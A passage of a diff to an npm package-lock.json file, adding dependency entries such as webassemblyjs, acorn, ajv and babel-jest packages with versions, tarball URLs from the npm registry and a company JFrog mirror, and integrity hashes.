"node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz", + "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==" + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.12.1.tgz", + "integrity": "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g==", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/wasm-gen": "1.12.1" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz", + "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==", + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz", + "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==", + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz", + "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==" + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.12.1.tgz", + "integrity": "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g==", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/helper-wasm-section": "1.12.1", + "@webassemblyjs/wasm-gen": "1.12.1", + "@webassemblyjs/wasm-opt": "1.12.1", + "@webassemblyjs/wasm-parser": "1.12.1", + "@webassemblyjs/wast-printer": "1.12.1" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.12.1.tgz", + "integrity": "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w==", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.12.1.tgz", + "integrity": "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg==", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/wasm-gen": "1.12.1", + "@webassemblyjs/wasm-parser": "1.12.1" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.12.1.tgz", + "integrity": "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ==", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-api-error": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.12.1.tgz", + "integrity": "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA==", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==" + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==" + }, + "node_modules/abab": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/abab/-/abab-2.0.6.tgz", + "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==" + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "8.9.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/acorn/-/acorn-8.9.0.tgz", + "integrity": "sha512-jaVNAFBHNLXspO543WnNNPZFRtavh3skAkITqD0/2aeMkKZTN+254PyhwxFYrk3vQ1xfY+2wbesJMs/JC8/PwQ==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-globals": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/acorn-globals/-/acorn-globals-6.0.0.tgz", + "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", + "dependencies": { + "acorn": "^7.1.1", + "acorn-walk": "^7.1.1" + } + }, + "node_modules/acorn-globals/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-import-attributes": { + "version": "1.9.5", + "resolved": "https://registry.npmjs.org/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz", + "integrity": "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==", + "peerDependencies": { + "acorn": "^8" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-walk": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/acorn-walk/-/acorn-walk-7.2.0.tgz", + "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/address": { + "version": "1.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/address/-/address-1.2.2.tgz", + "integrity": "sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA==", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/adjust-sourcemap-loader": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/adjust-sourcemap-loader/-/adjust-sourcemap-loader-4.0.0.tgz", + "integrity": "sha512-OXwN5b9pCUXNQHJpwwD2qP40byEmSgzj8B4ydSN0uMNYWiFmJ6x6KwUllMmfk8Rwu/HJDFR7U8ubsWBoN0Xp0A==", + "dependencies": { + "loader-utils": "^2.0.0", + "regex-parser": "^2.2.11" + }, + "engines": { + "node": ">=8.9" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "node_modules/ajv-formats": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-formats/-/ajv-formats-2.1.1.tgz", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-formats/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "node_modules/ajv-formats/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/ansi-escapes": { + "version": "4.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dependencies": { + "type-fest": "^0.21.3" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-html-community": { + "version": "0.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==", + "engines": [ + "node >= 0.8.0" + ], + "bin": { + "ansi-html": "bin/ansi-html" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==" + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==" + }, + "node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/aria-query": { + "version": "5.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/aria-query/-/aria-query-5.2.1.tgz", + "integrity": "sha512-7uFg4b+lETFgdaJyETnILsXgnnzVnkHcgRbwbPwevm5x/LmUlt3MjczMRe1zg824iBgXZNRPTBftNYyRSKLp2g==", + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz", + "integrity": "sha512-LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A==", + "dependencies": { + "call-bind": "^1.0.2", + "is-array-buffer": "^3.0.1" + } + }, + "node_modules/array-flatten": { + "version": "2.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array-flatten/-/array-flatten-2.1.2.tgz", + "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==" + }, + "node_modules/array-includes": { + "version": "3.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array-includes/-/array-includes-3.1.6.tgz", + "integrity": "sha512-sgTbLvL6cNnw24FnbaDyjmvddQ2ML8arZsgaJhoABMoplz/4QRhtrYS+alr1BUM1Bwp6dhx8vVCBSLG+StwOFw==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "get-intrinsic": "^1.1.3", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/array.prototype.flat": { + "version": "1.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array.prototype.flat/-/array.prototype.flat-1.3.1.tgz", + "integrity": "sha512-roTU0KWIOmJ4DRLmwKd19Otg0/mT3qPNt0Qb3GWW8iObuZXxrjB/pzn0R3hqpRSWg4HCwqx+0vwOnWnvlOyeIA==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/array.prototype.flatmap": { + "version": "1.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array.prototype.flatmap/-/array.prototype.flatmap-1.3.1.tgz", + "integrity": "sha512-8UGn9O1FDVvMNB0UlLv4voxRMze7+FpHyF5mSMRjWHUMlpoDViniy05870VlxhfgTnLbpuwTzvD76MTtWxB/mQ==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/array.prototype.reduce": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array.prototype.reduce/-/array.prototype.reduce-1.0.5.tgz", + "integrity": "sha512-kDdugMl7id9COE8R7MHF5jWk7Dqt/fs4Pv+JXoICnYwqpjjjbUurz6w5fT5IG6brLdJhv6/VoHB0H7oyIBXd+Q==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-array-method-boxes-properly": "^1.0.0", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/array.prototype.tosorted": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array.prototype.tosorted/-/array.prototype.tosorted-1.1.1.tgz", + "integrity": "sha512-pZYPXPRl2PqWcsUs6LOMn+1f1532nEoPTYowBtqLwAW+W8vSVhkIGnmOX1t/UQjD6YGI0vcD2B1U7ZFGQH9jnQ==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0", + "get-intrinsic": "^1.1.3" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==" + }, + "node_modules/ast-types-flow": { + "version": "0.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ast-types-flow/-/ast-types-flow-0.0.7.tgz", + "integrity": "sha512-eBvWn1lvIApYMhzQMsu9ciLfkBY499mFZlNqG+/9WR7PVlroQw0vG30cOQQbaKz3sCEc44TAOu2ykzqXSNnwag==" + }, + "node_modules/async": { + "version": "3.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/async/-/async-3.2.4.tgz", + "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ==" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/autoprefixer": { + "version": "10.4.14", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/autoprefixer/-/autoprefixer-10.4.14.tgz", + "integrity": "sha512-FQzyfOsTlwVzjHxKEqRIAdJx9niO6VCBCoEwax/VLSoQF29ggECcPuBqUMZ+u8jCZOPSy8b8/8KnuFbp0SaFZQ==", + "dependencies": { + "browserslist": "^4.21.5", + "caniuse-lite": "^1.0.30001464", + "fraction.js": "^4.2.0", + "normalize-range": "^0.1.2", + "picocolors": "^1.0.0", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/available-typed-arrays": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz", + "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/axe-core": { + "version": "4.7.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/axe-core/-/axe-core-4.7.2.tgz", + "integrity": "sha512-zIURGIS1E1Q4pcrMjp+nnEh+16G56eG/MUllJH8yEvw7asDo7Ac9uhC9KIH5jzpITueEZolfYglnCGIuSBz39g==", + "engines": { + "node": ">=4" + } + }, + "node_modules/axobject-query": { + "version": "3.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/axobject-query/-/axobject-query-3.2.1.tgz", + "integrity": "sha512-jsyHu61e6N4Vbz/v18DHwWYKK0bSWLqn47eeDSKPB7m8tqMHF9YJ+mhIk2lVteyZrY8tnSj/jHOv4YiTCuCJgg==", + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/babel-jest": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-jest/-/babel-jest-27.5.1.tgz", + "integrity": "sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==", + "dependencies": { + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/babel__core": "^7.1.14", + "babel-plugin-istanbul": "^6.1.1", + "babel-preset-jest": "^27.5.1", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.8.0" + } + }, + "node_modules/babel-jest/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-jest/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/babel-jest/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/babel-jest/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/babel-jest/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-jest/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-loader": { + "version": "8.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-loader/-/babel-loader-8.3.0.tgz", + "integrity": "sha512-H8SvsMF+m9t15HNLMipppzkC+Y2Yq+v3SonZyU70RBL/h1gxPkH08Ot8pEE9Z4Kd+czyWJClmFS8qzIP9OZ04Q==", + "dependencies": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^2.0.0", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + }, + "engines": { + "node": ">= 8.9" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "webpack": ">=2" + } + }, + "node_modules/babel-loader/node_modules/schema-utils": { + "version": "2.7.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "dependencies": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + }, + "engines": { + 